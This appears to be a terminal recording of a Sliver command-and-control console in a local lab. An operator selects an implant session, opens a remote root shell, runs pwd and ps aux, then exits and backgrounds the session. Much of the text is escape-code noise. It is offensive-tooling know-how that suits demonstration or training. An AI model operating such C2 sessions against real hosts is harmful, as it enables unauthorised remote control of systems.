[2.945001, "o", "####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@# \r\r\n #%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%# \r\r\n %+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+% \r\r\n @=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@ \r\r\n -----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==----- \r\r\n %----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----% \r\r\n =--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--= \r\r\n +-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-= \r\r\n -----==++**#%######################%@@@%%%%@@@%######################%#**++==----- \r\r\n =--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--= \r\r\n %-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@"]
[2.945258, "o", "%%%%%%%%%#######@@@%+==-% \r\r\n @=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@ \r\r\n @@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@ \r\r\n @%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@ \r\r\n @%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@ \r\r\n%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%% \r\r\n%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*% \r\r\n @%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@ "]
[2.945305, "o", " \r\r\n%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%% \r\r\n@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@ \r\r\n#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%# \r\r\n@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@ \r\r\n @%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@ \r\r\n@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@ \r\r\n @@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@ \r\r\n @@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@ \r\r\n @%%%% %@@@@@@@@@@@@@ %%%%@ \r\r\n @@ @::@@@@@@@@@@::@ @@ \r\r\n "]
[2.945361, "o", " -::::::@@@@::::::: \r\r\n *-----========-----+ \r\r\n @###%%%@@@@%%%###@ \r\r\n @%%%%%%@ \r\r\n\u001b[0m\r\nAll hackers gain cipher\r\r\n"]
[2.947373, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
[2.974764, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[2.976537, "o", "\u001b[1 q"]
[2.978132, "o", "\u001b[?25l"]
[2.978784, "o", "\u001b[107D"]
[2.979482, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[2.982362, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[2.982441, "o", "\r\r\n"]
[2.982915, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[4.258103, "o", "\u001b[9D\u001b[9C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession e783b0c4 CURRENT_RESIST - 127.0.0.1:60034 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 15:40:22 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D"]
[4.258708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.260891, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[5.300667, "o", "\u001b[?25l"]
[5.302348, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.306497, "o", "\u001b[6n"]
[5.312894, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.313942, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[5.384875, "o", "\u001b[?25l\u001b[107D"]
[5.385457, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.389899, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[5.449016, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.453269, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.454408, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[5.629541, "o", "\u001b[12D\u001b[9C"]
[5.631616, "o", "\u001b[6n"]
[5.65189, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D\r\r\n"]
[5.65267, "o", "\u001b[0 q"]
[5.653889, "o", "\r\n"]
[5.686583, "o", "\u001b7\u001b[?25l"]
[5.686761, "o", "\u001b8"]
[5.691331, "o", "\u001b[0G\u001b[2K"]
[5.69971, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION e783b0c4 CURRENT_RESIST 127.0.0.1:60034 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[5.700278, "o", "\u001b7"]
[5.703075, "o", "\u001b[1A"]
[5.703177, "o", "\u001b[0G"]
[6.170331, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION e783b0c4 CURRENT_RESIST 127.0.0.1:60034 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[6.174529, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (e783b0c4-a506-4030-8059-5044f387ea88)\r\n"]
[6.222445, "o", "\r\n"]
[6.23339, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[1 q"]
[6.233882, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[6.235971, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[6.87546, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[6.880679, "o", "\u001b[6n"]
[6.888371, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.892671, "o", "\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[6.946863, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[6.951893, "o", "sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[7.04774, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.055309, "o", "she\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.055457, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[7.148565, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.159295, "o", "shel\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.162232, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[7.284309, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.294552, "o", "\u001b[1m\u001b[32mshell\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[7.38584, "o", "\u001b[?25l"]
[7.387228, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.392813, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C"]
[7.393631, "o", "\u001b[107D\u001b[32C\u001b[?25h"]
[7.714403, "o", "\u001b[?25l"]
[7.71591, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.725962, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[7.727816, "o", "\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
[7.822833, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[7.830898, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[7.953294, "o", "\u001b[34D\u001b[26C"]
[7.953715, "o", "\u001b[6n"]
[7.962404, "o", "\u001b[107D\u001b[34C\u001b[0J"]
[7.96533, "o", "\u001b[107D\r\r\n\u001b[0 q\r\n"]
[7.971866, "o", "Start an interactive shell\r\n\r\n"]
[7.982435, "o", "Usage:\r\n shell [flags]\r\n\r\nFlags:\r\n -h, --help help for shell\r\n -y, --no-pty disable use of pty on macos/linux\r\n -s, --shell-path string path to shell interpreter\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
[7.983666, "o", "\r\n"]
[7.998655, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[7.999297, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[8.000779, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.00164, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[8.432029, "o", "\u001b[?25l\u001b[107D"]
[8.434496, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[8.438857, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D"]
[8.439795, "o", "\u001b[27C\u001b[?25h"]
[8.517995, "o", "\u001b[?25l"]
[8.518546, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[8.5206, "o", "sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.521011, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[8.663146, "o", "\u001b[?25l"]
[8.664594, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[8.6682, "o", "she\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.669284, "o", "\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[8.763593, "o", "\u001b[?25l"]
[8.763881, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[8.76686, "o", "shel\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[8.767747, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[8.896958, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[8.900344, "o", "\u001b[6n"]
[8.909045, "o", "\u001b[1m\u001b[32mshell\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.913696, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[9.670371, "o", "\u001b[31D\u001b[26C\u001b[6n"]
[9.683362, "o", "\u001b[107D\u001b[31C\u001b[0J\u001b[107D"]
[9.684816, "o", "\r\r\n\u001b[0 q\r\n"]
[9.703556, "o", "\u001b[0G\u001b[2K"]
[9.708032, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mThis action is bad OPSEC, are you an adult? \u001b[0m\u001b[0;37m(y/N) \u001b[0m"]
[9.710627, "o", "\u001b[?25l\u001b7\u001b[999;999f\u001b[6n"]
[9.71436, "o", "\u001b8\u001b[?25h\u001b[6n"]
[10.373281, "o", "y"]
[10.65143, "o", "\u001b[1D\r\n\u001b[1B\u001b[0G\u001b[1A\u001b[0G"]
[10.65768, "o", "\u001b[0G\u001b[2K"]
[10.668002, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mThis action is bad OPSEC, are you an adult? \u001b[0m\u001b[0;36mYes\u001b[0m\r\n"]
[10.669974, "o", "\r\n"]
[10.671666, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mWait approximately 10 seconds after exit, and press <enter> to continue\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mOpening shell tunnel (EOF to exit) ...\r\n\r\n"]
[10.799989, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarted remote shell with pid 14798\r\n\r\n"]
[10.893078, "o", "\u001b[?2004h"]
[10.901365, "o", "root@98df0494f659:~# "]
[12.351295, "o", "p"]
[12.400776, "o", "w"]
[12.458265, "o", "d"]
[12.558938, "o", "\r\n"]
[12.564499, "o", "\u001b[?2004l\r/root\r\n"]
[12.564786, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[13.283473, "o", "p"]
[13.347332, "o", "s"]
[13.447738, "o", " "]
[13.569948, "o", "a"]
[13.651951, "o", "u"]
[13.74698, "o", "x"]
[13.901878, "o", "\r\n"]
[13.905982, "o", "\u001b[?2004l\r"]
[13.964101, "o", "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\r\n"]
[13.968729, "o", "root 1 0.0 0.5 150092 10356 pts/0 Ssl 12:51 0:01 /usr/bin/qemu-x\r\nroot 14557 0.0 0.5 150096 10884 pts/0 Sl+ 15:33 0:00 /usr/bin/qemu-x\r\nroot 14562 0.8 0.8 153188 16916 ? Rsl 15:33 0:03 /usr/bin/qemu-x\r\nroot 14564 0.0 0.7 150056 15236 pts/1 Ssl 15:33 0:00 /usr/bin/qemu-x\r\nroot 14576 0.0 0.6 149924 13864 pts/2 Ssl 15:33 0:00 /usr/bin/qemu-x\r\nroot 14756 5.8 2.6 254848 54372 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\nroot 14759 1.5 2.2 179932 45888 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\n"]
[13.972967, "o", "root 14761 0.0 2.2 179840 44944 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\nroot 14763 0.0 0.4 147028 8168 pts/3 Ssl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14766 0.5 0.6 150132 14128 pts/3 Sl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14776 37.1 8.5 1586752 174620 pts/3 Sl+ 15:40 0:04 /usr/bin/qemu-x\r\nroot 14788 11.3 3.2 1402788 65644 pts/2 Rl+ 15:40 0:01 /usr/bin/qemu-x\r\nroot 14798 2.6 0.7 149888 15152 pts/4 Ssl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14808 0.0 0.5 151556 11160 ? Rl+ 12:46 0:00 /usr/bin/ps aux\r\n"]
[13.974954, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[14.859878, "o", "e"]
[14.981544, "o", "x"]
[15.186988, "o", "i"]
[15.300042, "o", "t"]
[16.317173, "o", "\r\n\u001b[?2004l\r"]
[16.317907, "o", "exit\r\n"]
[27.335347, "o", "Shell exited\r\n"]
[27.335779, "o", "\r\n"]
[27.345826, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.345955, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.346606, "o", "\u001b[6n"]
[27.34811, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[27.410752, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
[27.412331, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[27.412687, "o", "\r\n"]
[27.422394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.423261, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.42469, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[27.425042, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[27.494698, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
[27.503282, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n\r\n"]
[27.507134, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.507504, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.509273, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[27.578246, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
[27.579453, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r"]
[27.580014, "o", "\r\n\u001b[0 q\r\n\r\n"]
[27.591116, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.591516, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.592964, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C"]
[27.593261, "o", "\u001b[107D\u001b[26C\u001b[?25h"]
[27.661634, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
[27.663187, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n"]
[27.664506, "o", "\u001b[0 q\r\n\r\n"]
[27.67636, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[27.676498, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
[27.676539, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[27.678253, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[29.665521, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.670934, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D"]
[29.6716, "o", "\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[29.719423, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.722677, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[29.791499, "o", "\u001b[?25l\u001b[107D"]
[29.792368, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[29.794811, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[29.896305, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[29.896713, "o", "\u001b[6n"]
[29.90024, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[29.90097, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[30.048424, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.05971, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[30.109396, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[30.111245, "o", "\u001b[6n"]
[30.114003, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
[30.138994, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.141645, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
[30.197303, "o", "\u001b[?25l"]
[30.198156, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.20018, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[30.236701, "o", "\u001b[?25l"]
[30.236881, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.238892, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[30.239186, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
[30.342878, "o", "\u001b[?25l\u001b[107D"]
[30.343265, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[30.345535, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
[30.442674, "o", "\u001b[36D\u001b[26C\u001b[6n"]
[30.444974, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
[30.445432, "o", "\u001b[0 q\r\n"]
[30.469446, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[30.479795, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[30.480886, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[30.482318, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[30.643778, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[30.647913, "o", "\u001b[6n"]
[30.657421, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[30.776676, "o", "\u001b[?25l"]
[30.780491, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[30.789737, "o", "ex\u001b[0m\u001b[0K\u001b[49m"]
[30.79069, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[30.855034, "o", "\u001b[?25l"]
